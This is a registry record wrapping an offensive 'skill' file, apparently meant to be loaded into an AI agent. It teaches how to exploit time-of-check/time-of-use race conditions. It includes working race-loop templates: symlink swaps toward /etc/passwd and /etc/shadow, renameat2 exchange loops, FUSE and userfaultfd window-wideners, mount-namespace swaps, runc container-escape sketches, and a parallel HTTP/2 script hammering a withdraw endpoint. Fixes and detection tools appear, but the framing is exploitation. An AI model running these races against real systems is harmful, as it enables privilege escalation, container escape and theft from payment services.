{"id":"offensive-toctou","name":"offensive-toctou","summary":"バイナリ、カーネル、ファイルシステム、ウェブ、コンテナ層にわたるテスト時間/使用時間(TOCTOU)レース条件の悪用手法。","body":"# TOCTOU — Time-of-Check / Time-of-Use Exploitation\n\nA TOCTOU bug exists wherever code checks a property (file owner, path target, token validity, balance) and then acts on it as if the property still holds. Between check and use is a window — your job is to widen it and swap the underlying object.\n\n## Quick Workflow\n\n1. Identify the **check** (syscall, function, validation step) and the **use** (the privileged action)\n2. Confirm the check and use don't operate on the same kernel object (FD, inode, atomic snapshot)\n3. Build a primitive that swaps the object between check and use (symlink, mount, mv, parallel request)\n4. **Widen the window** with FUSE, slow filesystems, scheduler tricks, or single-packet HTTP/2\n5. Run a tight loop and confirm the post-use state corresponds to the swapped target\n\n---\n\n## The Core Pattern\n\n```c\n// Vulnerable\nif (access(path, W_OK) == 0) {     // check  — resolves \"path\" now\n    fd = open(path, O_WRONLY);     // use    — re-resolves \"path\" later\n    write(fd, attacker_data, n);\n}\n```\n\nBetween `access` and `open`, an attacker replaces `path` with a symlink to `/etc/shadow`. The check sees an attacker-owned file; the use opens shadow as root.\n\nThe fix is always: **operate on the kernel object, not the path.** Use `O_NOFOLLOW`, `openat` with `AT_SYMLINK_NOFOLLOW`, `fstat` on the FD, etc.\n\n---\n\n## Filesystem TOCTOU\n\n### Symlink Swap (Classic)\n\n```bash\n# Setup target — privileged binary that writes to user-supplied path after access() check\nvictim --output /tmp/.attacker/output\n\n# Race loop\nwhile true; do\n  ln -sf /etc/passwd /tmp/.attacker/output 2>/dev/null\n  ln -sf /tmp/.attacker/legit /tmp/.attacker/output 2>/dev/null\ndone &\n\n# Run victim repeatedly\nwhile true; do victim --output /tmp/.attacker/output; done\n```\n\n### renameat2(RENAME_EXCHANGE) — Atomic Single-Frame Swap\n\n```c\nsyscall(SYS_renameat2, AT_FDCWD, \"good\", AT_FDCWD, \"bad\", RENAME_EXCHANGE);\n```\n\n`RENAME_EXCHANGE` swaps two paths atomically — combined with FUSE-paused dir lookups, this is a near-deterministic primitive on Linux ≥ 3.15.\n\n### Directory Swap (mv between two prepared trees)\n\nWhen the victim resolves `parent/file`, swap `parent` itself:\n\n```bash\nmv good_dir parent && mv evil_dir parent_was_good_dir\n# If victim is mid-resolution of `parent/file`, dir cache may pin one side\n```\n\n### Bind Mount / Mount-Namespace Swap (root-only or in user-ns)\n\n```bash\nunshare -mUr\nmkdir /tmp/x /tmp/y\necho benign > /tmp/x/file\nmount --bind /etc/shadow /tmp/y/file\n# Then: while true; do mount --move /tmp/x /tmp/m; mount --move /tmp/y /tmp/m; done\n```\n\nIn containerized contexts with `CAP_SYS_ADMIN` in a user namespace, this is the foundation of multiple runc/CVE escape chains.\n\n---\n\n## Window-Widening Primitives\n\nThe race is always winnable in theory; in practice you need the window large enough for your swap.\n\n### FUSE-Backed Slow Filesystem\n\nMount a FUSE filesystem you control. When the victim does `open` or `stat`, your handler sleeps:\n\n```python\n# fusepy\nclass SlowFS(Operations):\n    def getattr(self, path, fh=None):\n        if path == '/trigger':\n            time.sleep(5)   # stretch the check\n        return os.lstat(self.root + path).__dict__\n```\n\nNow the check call inside the victim blocks for 5 seconds — plenty of time to swap the post-check filename.\n\n### Userfaultfd (kernel-level page faults)\n\n```c\n// Register a userfault region; when the victim reads the user-controlled buffer,\n// pause it in the page-fault handler, swap data, then resume.\nioctl(uffd, UFFDIO_REGISTER, &reg);\n```\n\n`userfaultfd` can pause a kernel-side `copy_from_user` mid-read, enabling double-fetch wins. Linux ≥ 5.11 requires `vm.unprivileged_userfaultfd=1` (off by default in many distros).\n\n### Cgroup Freeze\n\n```bash\nmkdir /sys/fs/cgroup/race\necho $victim_pid > /sys/fs/cgroup/race/cgroup.procs\necho 1 > /sys/fs/cgroup/race/cgroup.freeze   # pause\n# swap files\necho 0 > /sys/fs/cgroup/race/cgroup.freeze   # resume\n```\n\n### Single-CPU Pinning + sched_yield\n\n```c\ncpu_set_t set; CPU_ZERO(&set); CPU_SET(0, &set);\nsched_setaffinity(victim_pid, sizeof(set), &set);\n// Race threads on same CPU — context switch is the only progress unit\n```\n\n---\n\n## Kernel Double-Fetch\n\nA kernel function reads the same userspace location twice; an attacker mutates it in between using userfaultfd or another thread.\n\n```c\n// Vulnerable kernel pattern\ncopy_from_user(&size, &user_arg->size, 4);   // first fetch\nif (size > MAX) return -EINVAL;\ncopy_from_user(buf, user_arg->data, size);   // size re-fetched? Or from local? Check carefully.\n```\n\nTooling: KFENCE, Bochspwn-Reloaded, DECAF — fuzzers and analyzers that detect double-fetches.\n\n---\n\n## /proc and procfs Races\n\n### /proc/pid/exe + ptrace\n\n`/proc/<pid>/exe` is a magic symlink. If a privileged binary opens it after fork+exec, an attacker can race the exec to point exe at attacker-controlled binary on a slow filesystem. Foundation of CVE-2019-5736 (runc).\n\n```c\n// Sketch\nfd = open(\"/proc/self/exe\", O_RDONLY);  // by attacker, in container\n// Then the host runc opens /proc/<pid>/exe to write — opens *attacker's* exe → host RCE\n```\n\n### /proc/pid/mem\n\n`open(\"/proc/pid/mem\")` followed by `lseek+write` historically bypassed write protections. Modern kernels enforce ptrace credentials at write time, but legacy or patched-out checks still exist in embedded kernels.\n\n### /proc/pid/cwd / fd / root\n\nSymlinks resolve at deref time using the target task's namespace. Cross-namespace deref of `/proc/pid/root/etc/shadow` from a sibling container is a recurring vuln class.\n\n---\n\n## Setuid Binary TOCTOU\n\n```c\n// Vulnerable flow in classic SUID binary\nif (!access(file, R_OK)) {       // check with real UID via access()\n    fd = open(file, O_RDONLY);   // open with effective UID = root\n    sendfile(stdout, fd, ...);\n}\n```\n\nSymlink swap between `access` and `open` makes the binary read root-readable files for unprivileged users.\n\n**Rule of thumb when reviewing setuid/setgid binaries:** every path appearing twice in a syscall trace is a candidate.\n\n```bash\nstrace -f -e openat,access,stat,lstat,readlink ./suid_binary 2>&1 | grep \"$user_input\"\n# Multiple resolutions of the same user-controlled path = TOCTOU surface\n```\n\n---\n\n## Container Escape via TOCTOU\n\n### CVE-2019-5736 (runc) — `/proc/self/exe` Overwrite\n\nWhen a container runs `docker exec`, runc opens `/proc/self/exe` from the host. By replacing the in-container binary with a symlink to `/proc/self/exe`, the host runc rewrites itself.\n\n### CVE-2024-21626 (runc \"Leaky Vessels\") — Working-Directory FD Leak\n\nA leaked file descriptor to the host filesystem could be inherited via `WORKDIR /proc/self/fd/<n>` — the container's first process held a host FD, races on namespace setup let it act on host paths.\n\n### Symlink-on-Mount Race\n\nWhen the runtime resolves a bind-mount source/target path (e.g. for tmpfs setup), a fast attacker swaps a directory in the path with a symlink to `/`. Common in Kubernetes hostPath, Docker volumes, OpenShift SCC bypasses.\n\n---\n\n## Web / API TOCTOU\n\n### Auth vs Authz Split at Gateway\n\n```\nGateway: validates JWT (signature, exp) → forwards to service\nService: trusts gateway's \"X-User-Id\" header\n```\n\nIf the JWT is revoked between gateway cache and gateway validation, or the gateway caches \"valid\" results too long, you get post-revocation access. Cache-key confusion (different gateway nodes) widens the window.\n\n### Permission Recheck Skipped on Long-Running Action\n\n```python\n# Vulnerable\ndef long_export(user, resource_id):\n    check_access(user, resource_id)        # check\n    data = stream_resource(resource_id)    # use — minutes long\n    return data                            # access could have been revoked mid-stream\n```\n\nTest: revoke access while a download is mid-stream; if data continues, recheck is missing.\n\n### Idempotency-Key Reuse with Different Body\n\n```http\nPOST /api/withdraw  Idempotency-Key: K1  { \"amount\": 1 }\nPOST /api/withdraw  Idempotency-Key: K1  { \"amount\": 1000 }   # Same key, different body\n```\n\nMany implementations key only on the key, not key+body-hash → second request returns the first's response while still processing the second's debit.\n\n### Single-Packet Multi-Request\n\n```\nHTTP/2: hold N requests' DATA frames, send all END_STREAM in one TCP segment.\nServer schedules N handlers concurrently with sub-millisecond skew → reliable race wins.\nTool: Burp Repeater \"Send group in parallel (single-packet)\".\n```\n\nThis is the standard primitive for web TOCTOU since 2023; old `httpie ... &` parallelism is obsolete.\n\n### Limit / Quota TOCTOU\n\n```python\n# Vulnerable\nif user.balance >= amount:    # check\n    user.balance -= amount    # use — non-atomic read-modify-write\n    pay(user, amount)\n```\n\nSend N parallel requests, each sees the same pre-decrement balance. Fix: atomic decrement with constraint (`UPDATE ... WHERE balance >= amount`).\n\n---\n\n## Mobile / Binary Cookbook\n\n### Android: Intent Redirect TOCTOU\n\nActivity checks calling package via `getCallingPackage()` then dispatches via Intent — between check and dispatch, attacker swaps the underlying ContentProvider URI authority resolution.\n\n### iOS: NSXPC Audit Token Confusion\n\n`audit_token_t` should be captured at the start of each XPC message handling. If the service captures it once and reuses, an attacker can race PID reuse to impersonate.\n\n---\n\n## Detection & Tooling\n\n| Tool | Layer | Use |\n|------|-------|-----|\n| `strace -e trace=file -f` | Linux syscall | Find duplicate path resolutions |\n| `bpftrace` / `bcc` | Kernel | Probe specific syscalls' args at scale |\n| ThreadSanitizer (TSan) | Userspace C/C++ | Compile-time race detection |\n| Helgrind / DRD | Userspace | Pthread race detection |\n| Bochspwn-Reloaded | Kernel | Double-fetch detection |\n| `syzkaller` | Kernel | Coverage-guided race fuzzing |\n| Burp Suite (Repeater single-packet) | Web/HTTP | Concurrent request races |\n| `racepwn` | Web | Multi-thread + timing harness |\n| `Turbo Intruder` | Web | Pipelined parallel requests |\n\n```bash\n# Quick filesystem TOCTOU finder against a binary\nstrace -f -e trace=file ./target 2>&1 | \\\n  awk -F'\"' '/access|stat|lstat|open|readlink/ {print $2}' | \\\n  sort | uniq -c | sort -rn | head\n# Paths appearing N>1 times → TOCTOU candidates\n```\n\n---\n\n## Race Loop Templates\n\n### Filesystem (C)\n\n```c\n#include <sys/syscall.h>\n#include <linux/fs.h>\nint main() {\n    pid_t p = fork();\n    if (!p) { for(;;) syscall(SYS_renameat2, -100,\"a\",-100,\"b\",RENAME_EXCHANGE); }\n    for(;;) execve(victim, args, env);\n}\n```\n\n### Web (Python — single-packet HTTP/2)\n\n```python\n# Use httpx or h2 directly; pyburp or turbo-intruder for production\nimport httpx, anyio\nasync def race():\n    async with httpx.AsyncClient(http2=True) as c:\n        async with anyio.create_task_group() as tg:\n            for _ in range(30):\n                tg.start_soon(c.post, \"https://app/withdraw\", json={\"amount\": 100})\nanyio.run(race)\n```\n\nFor real reliability on TLS, prefer Burp's single-packet feature — it crafts an HTTP/2 last-byte synchronization.\n\n---\n\n## Reporting / Severity\n\nA TOCTOU finding's severity rests on: window size (deterministic vs probabilistic), required adjacency (local user / container / authenticated remote), and the post-use primitive (file write, auth bypass, money). A \"1-in-10000 race that gives root\" is the same finding as a \"deterministic race that gives root\" once it's chained with a window-widening primitive. Always demonstrate:\n\n1. The minimum reproducer\n2. The window-widener used\n3. The success rate observed\n4. The post-exploit primitive achieved\n\n---\n\n## Key References\n\n- MITRE CWE-367 (TOCTOU), CWE-362 (Race Condition)\n- USENIX Security: \"FUSE for Profit\" — TOCTOU window-widening\n- PortSwigger Research: \"Smashing the state machine\" (single-packet HTTP/2 attack)\n- runc CVE-2019-5736, CVE-2024-21626 advisories\n- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/toctou.md","author":"@SnailSploit","ownerProfile":null,"authorContacts":null,"sourceUrl":"https://github.com/SnailSploit/Claude-Red/tree/main/Skills/exploit-dev/offensive-toctou","license":"MIT","category":"writing","lang":"en","tokens":3153,"stars":0,"calls30d":1,"claimed":false,"visibility":"public","origin":"crawler","version":"0.1.0","createdAt":"2026-08-22","updatedAt":"2026-08-22","files":[],"requires":{"mcp":[],"tools":[]},"safety":{"flags":[],"scannedAt":"2026-08-22","hasScripts":false,"networkEndpoints":[]}}